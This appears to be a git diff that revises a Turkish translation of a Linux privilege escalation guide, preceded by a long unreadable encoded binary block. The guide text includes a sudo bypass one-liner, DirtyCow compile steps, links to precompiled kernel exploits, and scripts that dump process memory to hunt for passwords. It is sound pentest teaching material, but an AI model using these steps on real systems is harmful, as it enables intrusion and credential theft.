z#{qi5iB5o4?9QAi0hcf3mj~FnGZ-uFNM6tj0IoeOtop{wK(fluI>0y z_NL%O=lKVDXAK_9bRQFdr1bp6t@l>6ZWw($2y&(DAPiAbU2C>yc63~^|OGKu`ASxB+= zgG%tXnHHea2=fcX-MdqQbj{(q;^Gg^KVtgCFo6LmoyM!qA`hsv=TQ#sxRczPPhs z4XrV%$S>p_;ma_qtB+aWk`Hp=vDa-2!!a>2FHw*J?Sy+b@k$$lduZO5I7gIsewNAR z@qVKaJtMJv^JM(wgO1#1IAo&p`e!(m1smuJnxmbdY;n!;&U_ordK9xo@pJLe-I&w$ z^=03;8P_`Cl_R0u)-r;~$V@8GM8xzeV8nrsy0ZxAn*g5#q8z59Z^FsR%4Q*~(&pZT z%+uGg6}jqOm#DBw5q?TSfenn6{B(Mh=Jz)wEDLuoRimdb?R1jm*u2!}X%dVn0NsVx z?u}E%nj2I10*qJSV`GS|fS#II)4ao3#zG*Oe3=8owhMvkV=)Dk>Dg__OiDZf(Fq`V z+`<>=mH7DPjdjSwy>C39c@x$~gdtwVsy&Lc2oh$9LfSpg;C}Wi@<3;(Gkne6DSd>D>8*ZJBZ5f~=E}l$H-ROzk`sA0K?UIP( z!o~dRHi>h^ha~u=^OAL7<4%qOSO)p@N;I|ik_+;ToipL?hTXJt4rBlfK9a6^Pc+9L z>;5^j#5>kITl9r%YHNBb>>Qf4to0-H1^}QDsuf$IXqrM&;$Vr3OH%%HKC)RGtER)_ zx2n9Cq%`53~`bl_VyqdXjPXXA2=*E3UewM?G3Z_$eW>cwlW6#5OE8h7iThI>x0%ZX#u&X@ zfn%C>DUPo-fP9q^$D47sb@y8%UET8c%|X1NweehLAEJ@t-w*NBG;lcx?SPuWDq`2; zDx4qk2R(m4S+S`n9Pf*Bdg{+#2>T)l4NpPaKb5D2F9?GedhYb@OULe8xDQaEBw)n8 zgj7LH4P4fbX@P+g->XJpqGTi5QXOrJYSq@?%YSkJO;LLePMYFGD5>&&2Lq54;FCW$ zv0(o*zxT$fd$@9*Fau?;!h!||Op1N$ruf5X+z#s`9oBk7#~_-OEBPRc7w>nk4`zcE zu18h9GCFO}I;L$q6np9ybnP0gGgr{+IUIP6*#Y(dpyF?%IE!ve>@kVk%g3HMETwPW zG|UXb?vrnIm`o|}7!Q8`UZ4HF@Rtph{!7qn`O4Fu+cu@Dn*iG4qm)B;alRdMUGj)f z{h7yab$5%dke*&!#PxGY3z`D62b2L6?N1I`G`mFExC#TP`54gI=H5l-U9^0Y?1jcb zZ1g~Ems|V|1x%bA+EwS21m%f#?pYJI4oT5RF$KHN-U}fN@IY#@9q%$@)A&}@xJ0zK zFAQ$XMM@c$(YlfAglaZ07z5V%kCE7IRoicpG5x9cvZeZN$6kcp zdZe!P5EtVw9pird==Ixe$q&o;&qAG@@7ZqX?N4S|-yfcvGY0l~aNA%FxLZfpIQ*L2 zU_nza@;cFZ?x(ur5}^5z2QdxVcEFt6_77iRXTn(_i66baXcuOkS*+s#8^IwzKQO+k z@<;0pB-W{{8NfTH<4K#op;|vGJa&cm)hkS{rr6KtU5_>EdEK-3>0Z}Fw>h4G&S;E8 zJU|&5(r;@djirQ!cL{7nEwtoUpsC8IWYY+gyE}D;8BRo>&?cQ2Huq1FNwqi zxNp1ZCmnji;0-pZTEOezi?%9QT9exrW3ITNNSkMOQRgMXx1PWAx?lq|y9{ytp6!(w zU=Cgw%g9P#%ujnN2c!VDI9IMST_U~YMlQd6wZll5%QQ7hlIAO?o-^RjYRRRqu=ft@ zsXb1;MYMu6k>rZhl(#%4?)@1j`z)Xl+uCDNV~Sxx6%!3feuYw4G)ukWF?h;5>M>pBF7hj*VrT#_q}I zl1RJ0y`N*Vz9WUdb?oS1>y6YnETI9gfI&iqMVYHxJ2H<$(2I`Pg7;C{`ID$9d%IiR zW|grZxx_KnlEz}N33R;9ZDVZEq|>jm__}EIFu)Y8#*p}00ol|vCjLcaTSR*XVvUI? zi)Ow%XF?fiS~v$U_~v)#G&4-%j$=^BO~$LF_o=+VMoz)W((+gI-n)OGJik*;n=}Jh zpB^Jc#OZkfEJgm2UT#>FFBOY~ckymqE%#$ZN{e;X=bDxydK91VLsjV=&deQQ zL$lU->apMhcmR#*ucVZEjBtcIsRUv$Ngv{G={W5%K0dCsUq^{I(qTLD0MdPH;TJg{ zMxJSuHNZoW{IZ#-?l(z2X9B&2nxIPSAb3YAa&gOEH`fY*dz9p3K4&h*YjBPlR9us&k{E8W(;Z`I!nu=hBm(o@J2<2 zf)QzTl!;y}=ygZilICbWSwRT(@V0A>y$KAz&NZpBhL?)yBo$|lMFT**rD49`HWXRD z_q@ID3S`8xKL;+Y4&-4ZXgsQIGI~zW9tl=mo1C1RN1DrQcH~u*7HbRZ4CHXl&r99D z;tc4Mxk6sLQJI(x$n5vAgeh#WFo_TDVT+}ts`zprBi38-zSHI8&ROQB{;%Wv$cS2J zAIZA0G0_FZ4bdU%ciAMNRcF~a_`1fClSfkZxR<;&xoo9ZQAt2g#B3sc)UCN#%Ljs4 zs+NnszyZ^D{|JN&+|IVm_IC3zNlyH?bcqKE!;jqIl)vHYv;NZkN!MdoS-E!ZpSl|K)zlkrhjm;e0lCck zyJ4#G+hSYQhav>pp?Ly;Jxolamq*$qf5E5Gm>N!v7uIr?s$Kc|@C8|16thd<<3O_x z;)=sii_Flyg}0Ho{dhroEbjreOI7Q1VIyhKzCS;|P`P3gblV$1o^GOz&)>gqUFh?% ztLzZG)>Jfj4jiMQKnc1Ygy$&RE^19X7gM~SCKjxeCY0)9X!&@|Cux7Vk4I6lfI9$v zE|_~CLp9@`FQyn`dG=g=fhkrsdD<`mC}uZ+b-zCgsjRk`WnK7`G0>|SiN(X#*Vh%Z57PlwMc{PS;Igg~C;AK6&im$R zZ;z?pf_hD6=FIx-7g^We10*0k*sY-S=_$X61GhcRWv+n-1x;ewp@qHEyHbB>9H!t) z45~eWlgE|%qZ$`2K&_gmLI#B*Jwc~eTfGK3N%aowM*)_QBGnv(*Zy%0_FBmL>}SmSyo5`V@cd8*qtbMGJsWoi@v@ zlCmURZl17%Q9m3gIrzTUSB*+t$>5%YU^`%98 z0CXz`@c(6m-#kWX@3ZyPK~hq5(EL7pXn1&c4)AsesayKA*O)x~g41Mr5GI5h09KEG~lW(v?U%B9hM4 z%SJ;y0v-yV(C{}PE@>9pu^H$Ezn}YO;N@hdRw(uyAv=8}yzPuR(PiK<^Swv5P*O$KUk&J`y(t zD1eE&ReDT)R&F1J&AZ;-%u579&M+Z~77op_iI-iZ|Wok zq7!r&#XKc*(>XFyu^5^YE=nAr4&SEa9YE-xN$F~b+kXV~t~fMjdRSGK{=#N+Jt@=l zts&JrPt-GVVmj=ve6(#w2!9vB47az|($JslvcvCETEp{Mf&I@%1>Ne&rl$HfL2E%? zlr##!_K?WgTTnL}+EyJ;YuAT*Rph zT$}3;RY!)EwNasc=#a7|;`vf0yVQAg=2DQ${{2px61t~y^B(?{w|hE#_WL50R6Q46 z#6|eJ)us{eUx+^{`bi7Y*3J7eqt>#rHdk#~XV0LQWJnfvEqnt!%c%M4GXRRf2^S_+ z^5Lqsc=*i@!B!*Ua-3bY@&X;HI<#c-)f~uK$JE=NAo~pSp~?#={>i1Dk;a=eJg~92 z{np0xjCNXlT%lZve&Mf?X(4Kbz0jc zHuf8cWRtvqE0W!;#V|r z8t2;2&YWrpSo$w+bpP4$ZbY4=3kFY`nIIuY-TS*wtWMD%ryf*OfFb#$Km4{*E6pt< z6!ZOdnN{)&C^*+V145QvS3dUbXQY|F2kUb7sYHFI>#v~0jVAv1gviK6(6XBY@azo6 zk>;e4`&#WCYzvs_`GT%1N%iYgMpsZeYWw`;TmBUjDsR-d=U}+N9_KZj}-rS%cv5CH?P{F=4Jvt26ivvdmT_e86zwQ4zcG< z*G({BHq}GeIW*9~6iW685Ee%BQqhM5AQW14<(~%Deda(^Ha|LVU7G536#EUlu=B9#~v>pz_6tUV73BU zu{OSozfUganwzhq$_+zuZUkz-ZuJj#7VT@K^=|=uO(M#F0(?&R-C1g?P$v#wN`+j` zeDIHW_I83iJB905`yl!Tw{Bb5@nH*t&UCXIlFlM3GBQ4Z8aza}gcC{48UL8DvBS8% zpubMEXCYaeP(8qTPe>^uf5oD59UrggmZ=MhMLjPgVE)s@)K|SsCQg!WqrzHq=(2G~ zl}w~db_m(l_f!?{{#k)E2_VnX1n)$zp_{MTR^MT4{Xdp98p7CaE_m(>HomxQ04OGc z61zF?3)zN7M{A5>5v`~zry9pBo*3#ck8a`ai2r7X*puDOJQF#!++Hv8e|ajtIO{~H z>ocEi?sF@D_+di2>rE|#8jl^Rdcy78-^jb>>5xOvVE_DL+K#ZpbUFwc^rysdH>bM# zh3Fjrtw>=*DalxQ|Fi7+PEUrLHYzNmCqbA`c|PP+-Cu7j3!iNRP%7MlYevPKW)BS| zz-N-ko~+B{)P$%eT`3l?f?WfSkmakkgtXI5r&V|b&UcNq-iR1zpZ7y`N7Lb1pEOeY zZng*+eN2j~-oxoD8K8uApIOZ_$}ht$8$>>ofdxhzo*o??58i!xdKTUwZflo$W9n#g zR$7{1d3K0BXsQ-_oq}A;t%od0ivhsBCnhQr^vF7+Ccn{Mz2s@g>W@hjSJHs_6qzSr zqzT-s&gGCbH(3<@&rk;~mWvlIcrl9?4_rA`3?r(}$Qo6(I$(X*cSBY=@=o|!SA?9u zztSy}158Ga7A{0i96z%Of#|LV+w_=s(%)SR!AV;_BS94V63msV=I!xA?H}6XM zgAjh->o|`NTOG;sxC#7e7z+>iK^@4mS79uK;Eu&=^WhSNU)CalXJO)St$(!pl$xS&I)0X@{u!PIAw_K;24oT%^OyBD<7BP z6^&HI6``yUR^gh9;@?$YYd=l~w4kOiC1p6JbAvXjf~EvC=gJRgF9{9;qLbG@*SkJv$NSf$BsF3Ok4W+erklq`4tvNci!3C$EtAw zWJ^_D*0+(>Kt+eg^$hQF3ji#Ci)CGF|8~gsc0E1Fcv^Vqgj2nhSPS|u9XBx?XSpD` z{!kLu(j)3!#xz`-uhJd{hlQ32XSn(+8r>kWY1`L${8t@ z5Oij&D;|K`Bi${QAX&2D6~)Sh-ld+4+q%6M$ZJs@fxM8plW*426}=L&KD&LN?$fmp zFBfz;S#w=>LzLoI9@by^lkDdR<^I}=6nNdNK-s{9PhmH6mhPngqZ#yzy_ zr(|~M(;55DIqM#>ctWFc=8`gUY*d9|d>1%$D^hm!9dE6@Ke2zi;!Y2R_?!pv8=)OO z2=W}yVE2Lp3X$ojDPE_$eG`uMAzJu78?+j{V+gsPV-z0>02Wmn?$0wSPeMWsNRcy6x*5uQQP^w7Dvjp3bn+eo| z26as{T=@q2Et1Ba)9lWgODv4o*T&QVYn;Z`v;`ipojNOtd`3(A!~LEL9E@bD)Fp=J zxWxUpJ!)IJvarGPjZLIB3-&PQp+R?^%;WW5p*{D1ZqAI4d*DjBX9atF;fCsJ^EISy zli|X`JSmn1TQ=6V{dp=;rag)w&BHvZBkk&tU?0H9)Mn5GapEb(O4jo>-c#T6HWB-F zv@AUzjh?$1-@FpLX$Hy0opUs#z*gX0VUJcOMxi^*zb(;tmmWQKwKfhMfr{J zd?t!xE<|hgmcnK}GHympOZ7bnu^SR1ENfk9HRGT@{Xk6Ikc+oICQ-nDa!ya>X@Ss` zptLX3!kN=1q%uybCnkVO$&BT{JHzc;3dymM{)R1XIbVJOS`z~ZvDqi$U2drpGT)_4 zYFTBDGV;MGqbl36;`sV0Ni{)qIwr*?C%Kp-;KY23MgNuo(9ZM4ihfl=CcjA1tVw$y5|Q% zJ;wSgVM{(`aWYhc2R7p(0`~2W%S~>%!E^DUB?}kzOxq8cv6@G~JXecjxp=s4jzy{J zX{W*v@5$FM0uhKgi&J7qf=njNVCRP3&p&xFJ%x&0_N8~pxp$*^_aYMqZ3=ODX8Xfm z`Z4#Do;+$C!xPGn{kMy+Z%O0nRXQDLg5LIe&(P|xfJ_Hj{zLAy^5{1!Yth# zT3|%|2f|YJt=U?80~l4D={K>iVk@dwO&baiaB%3Jt18^pQOqBPa`AKo`J=7GE~P^e zhIG#IPRI12DZwWV;oR+&*K}Yp7zCgExnCJ3YM%Q&o87`0GPRdG`txu_ILB7Rye!Po zB#)ap)Rqm>9(9739ZJ#Z30=G!oQ6T9Sv5sDo0*mf%5<^OA1qZ+m@F!c4#F;jB@YPO zJ1u4LQwg}8yq&6@NN-$ zi&)gps6jue`Q_E6PlP?6p0Um#*ii(KSdRB;MJO$Z5kn*Sb|_DKK4L4Py_%&pd#Mb89e556v&{K}- zBEPSVGmEgXk%4M0-1#&rB%I;B{n~ zj#FB9$M|;MbdE)IUx$R{YMo22?^oD{f6IQ>OEvfuwikZZ#jTq})RA>*(D%?)VuE{q~)iTxrI-QsIFI4XNxA0_L$XfzZ$C@x@Z)luC_3*2{|{BiI^rg2_! z*U)iK;;GPHx}?Vz{NPqso&@t}uvuj@Anxi(3_3AV#cc!dI=rEmu?)O-JAT9V(@F}8 zws<*dD{d}HUr#x21nF%t7f`ZzS5UHunDvjHVqgJRxPmryZ{9a?>?y#(H1d>RHWF?HQovT zT&L2`AD-a#fERmQ05r-egm-&BCLS>)MZB4sAE(81sl)uDtKMtDUL9VJl(e{ZV2rMv zCRU&M&>{IV-LAO)(Kq)3{<&Et0rz_SuP@tEWBa(cG`N3-vwf}OdFG8oDFLzon`9+E zVmW{kmI}Dpq!LkaF$Q1mo1Qcg4bm<-R{i3W(_Iu^VuaNY3Niib1_9@0J(ZfU&&7`- zv#B`A!QULBKOpGL`z8&in{+tiF@R|tt5-(yA{1E~yl zF#qKPble-UV8quyzA0#1Wbyi8<<~hKSD$0K9uGc=wuie7ba0`Rho@x^B4|WQhuI7w z29sfNG5+oR8gvInAv9v8u21hKCNm5DmBYjZ6o3&Xvdl_q?T9zbo3Ac9EzbuLT&jF7 zZ}r>HX6PYrTY}vCBu@-UW8E|Ld7FSzvaX3p9)G2gX{%3=gJac3V9$Pnv zM^gJ(?VD2V=69=amp7hIw*-fky&o|(9f0R>gDMvY2G@gxouxnVbw=KAWk`NFZUPo%wC=W4}vYQbbUS?PoW>Czuj+@EP1Lbqnz zdEwrZb2w*3pdNKKc_bzVF3P(=ke)_?&N3Iv%77j9@=$=@6Xmr4rFd~ zcZ1@fEXAr}rky+Q+bb$4xEy&xCY~S1)sp{B$ z_@%x(56+iwRNEU2y&G<`)G$l8wXMmdm zbUGe3Y*oWD9Z!f?u*hWmv{ZHRFG@8qkY^mMwM%yyo^jVmySKMqXrirL1sWCch4q;` zO&W-{R{IzaSB?wqs^U^YQCSeXTEI-ivJc#Vsu@b&ZXU-arMx44R40UPa>? zu>#l>5qfxd3?enA2o9gqu73rZMyrS1emK-SiRh9Ee&_0JG(59o8+56Y9ym??v{a<9S|NH&@ z`$hi0{&Lk~B*|mL6B)>J;vZ=ia*f)A1Y|-*M@V#6f%Z$;Xqo!&#b;bxB~>(~!ruzy6>yWJn$aSI z{~YIk^9vXpoq)?3{D2e!ZS z7*HrejW~%F_wQ_FG$$y(piq2P?(dv`tUy~mYM#5`zcnNGfC;&0|1sq63=fHH<>9>_ zNccakuRjm@3Yd^rQ?4X`Yj^J-y_l6{5|Ih#O z-~6IaiBNlD^G)z?4ey_Y{O>jX&qDt98b|-LkpI20{)x!{4%YwQN91$7ds/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,36 +14,36 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Eğer **`PATH` değişkenindeki herhangi bir klasöre yazma izniniz** varsa bazı libraries veya binaries'leri hijack edebilirsiniz: +Eğer `PATH` değişkenindeki herhangi bir klasöre **yazma izniniz** varsa bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz: ```bash echo $PATH ``` -### Env bilgisi +### Ortam bilgisi -Env değişkenlerinde ilginç bilgiler, şifreler veya API anahtarları var mı? +Ortam değişkenlerinde ilginç bilgiler, şifreler veya API anahtarları var mı? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın. +Kernel sürümünü kontrol edin ve ayrıcalıkları yükseltmek için kullanılabilecek bir exploit olup olmadığını araştırın. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -İyi bir zafiyetli kernel listesi ve bazı zaten **compiled exploits**'i şurada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +İyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** şurada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Diğer bazı **compiled exploits** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -O web sitesinden tüm zafiyetli kernel versiyonlarını çıkarmak için şunu yapabilirsiniz: +Söz konusu siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Kernel exploits aramak için yardımcı olabilecek araçlar şunlardır: +Kernel exploit'lerini aramak için yardımcı olabilecek araçlar şunlardır: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (hedefte çalıştırın, yalnızca kernel 2.x için exploit'leri kontrol eder) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) Her zaman **kernel sürümünü Google'da arayın**, belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olursunuz. @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo sürümü +### Sudo sürüm -Aşağıda görünen zafiyetli sudo sürümlerine dayanarak: +Aşağıdaki listede görünen kırılgan Sudo sürümlerine dayanarak: ```bash searchsploit sudo ``` @@ -67,15 +67,15 @@ Bu grep'i kullanarak sudo sürümünün zafiyetli olup olmadığını kontrol ed ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Kaynak: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg imza doğrulaması başarısız +### Dmesg imza doğrulaması başarısız oldu -Bu vuln'ün nasıl sömürülebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın +Bu vuln'ün nasıl exploited olabileceğine dair bir **örnek** için **smasher2 box of HTB**'yi kontrol edin. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Eğer bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: - +Eğer bir docker container içindeyseniz, buradan kaçmayı deneyebilirsiniz: {{#ref}} docker-security/ @@ -132,26 +131,26 @@ docker-security/ ## Sürücüler -Hangi şeylerin **what is mounted and unmounted** olduğunu, nerede ve nedenini kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz +Nelerin **mounted** ve **unmounted** olduğunu, nerede ve nedenini kontrol edin. Eğer herhangi bir şey **unmounted** ise, mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Faydalı yazılımlar +## Kullanışlı yazılımlar -Kullanışlı ikili dosyaları listeleyin +Kullanışlı binaries'leri listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, bazı kernel exploit'lerini kullanmanız gerekirse faydalıdır; çünkü bunu kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. +Ayrıca, **herhangi bir derleyicinin kurulup kurulmadığını** kontrol edin. Bu, bazı kernel exploit'lerini kullanmanız gerekirse faydalıdır çünkü bunları kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Yüklü Zafiyetli Yazılımlar +### Güvenliğe Açık Yazılımlar Yüklü -Yüklü paketlerin ve servislerin **sürümünü** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır ve bu, escalating privileges için istismar edilebilir…\ +Yüklü paketlerin ve servislerin **sürümünü** kontrol edin. Belki, örneğin, eski bir Nagios sürümü olabilir; bu sürüm escalating privileges için exploited edilebilir…\ Daha şüpheli görünen yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. ```bash dpkg -l #Debian @@ -159,42 +158,42 @@ rpm -qa #Centos ``` If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Bu komutların çoğunlukla işe yaramayan çok fazla bilgi göstereceğini unutmayın; bu nedenle, kurulu yazılım sürümlerinin bilinen exploitslere karşı zafiyetli olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaların kullanılması önerilir_ +> [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın; bu nedenle yüklü herhangi bir yazılım sürümünün bilinen exploits için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaların kullanılması önerilir._ -## Processes +## İşlemler -Çalıştırılan **hangi süreçlerin** olduğunu inceleyin ve herhangi bir sürecin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (örneğin tomcat'ın root tarafından çalıştırılması mı?) +**Hangi işlemlerin** çalıştırıldığını inceleyin ve herhangi bir işlemin **gerekenden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (örneğin tomcat'in root tarafından mı çalıştırıldığını kontrol edin?). ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Ayrıca işlem ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin; belki birinin üzerine yazabilirsiniz. +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### İşlem izleme +### Süreç izleme -İşlemleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sık çalıştırılan veya belirli gereksinimler karşılandığında yürütülen zafiyetli işlemleri tespit etmek için çok faydalı olabilir. +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### İşlem belleği +### Süreç belleği -Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde açık metin olarak saklar**.\ -Normalde diğer kullanıcılara ait işlemlerin belleğini okumak için **root ayrıcalıkları** gerekir; bu yüzden bu genellikle zaten root olduğunuzda daha fazla kimlik bilgisi keşfetmek için daha faydalıdır.\ -Ancak, unutmayın ki **normal bir kullanıcı olarak sahip olduğunuz işlemlerin belleğini okuyabilirsiniz**. +Some services of a server save **credentials in clear text inside the memory**.\ +Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ +However, remember that **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> Günümüzde çoğu makine **varsayılan olarak ptrace'e izin vermez**, bu da yetkisiz kullanıcınıza ait diğer işlemlerin dökümünü alamayacağınız anlamına gelir. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tüm işlemler, aynı uid'ye sahip oldukları sürece debuglanabilir. Bu, ptrace'in klasik çalışma şeklidir. -> - **kernel.yama.ptrace_scope = 1**: sadece bir ebeveyn işlem debuglanabilir. -> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir; bunun için CAP_SYS_PTRACE yetkisi gerekir. -> - **kernel.yama.ptrace_scope = 3**: Hiçbir işlem ptrace ile izlenemez. Bir kere ayarlandığında ptrace'i yeniden etkinleştirmek için yeniden başlatma gerekir. +> - **kernel.yama.ptrace_scope = 0**: aynı uid'ye sahip oldukları sürece tüm süreçler debug edilebilir. Bu ptracing'in klasik çalışma şeklidir. +> - **kernel.yama.ptrace_scope = 1**: sadece bir parent process debug edilebilir. +> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir, çünkü CAP_SYS_PTRACE capability gerektirir. +> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i tekrar etkinleştirmek için reboot gerekir. #### GDB -Örneğin bir FTP servisine ait belleğe erişiminiz varsa Heap'i elde edip içindeki kimlik bilgilerini arayabilirsiniz. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Betiği ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Belirli bir process ID için, **maps bu sürecin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenen bölgenin permissions**'ını gösterir. **mem** pseudo dosyası **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve offsetlerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri dump etmek** için kullanırız. +Belirli bir işlem kimliği için, **maps**, o işlemin sanal adres uzayında belleğin nasıl eşlendiğini gösterir; ayrıca her eşlenen bölgenin **izinlerini** listeler. **mem** pseudo dosyası **işlemin belleğinin kendisini** açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bunların offset'lerini öğreniriz. Bu bilgiyi kullanarak **mem** dosyasında konumlanır (seek) ve okunabilir tüm bölgeleri bir dosyaya dump ederiz. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`, sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Kernel'in sanal adres alanına /dev/kmem üzerinden erişilebilir.\ -Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabilir. +`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\ +Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubunca okunabilir. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump için linux +### Linux için ProcDump -ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının linux için yeniden tasarlanmış halidir. Şuradan edinebilirsiniz: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış halidir. İndirmek için [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,29 +266,29 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Araçlar -Bir işlemin belleğini dökmek için şu araçları kullanabilirsiniz: +Bir işlemin belleğini dökmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz -- Script A.5 şu adresten: [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) +- 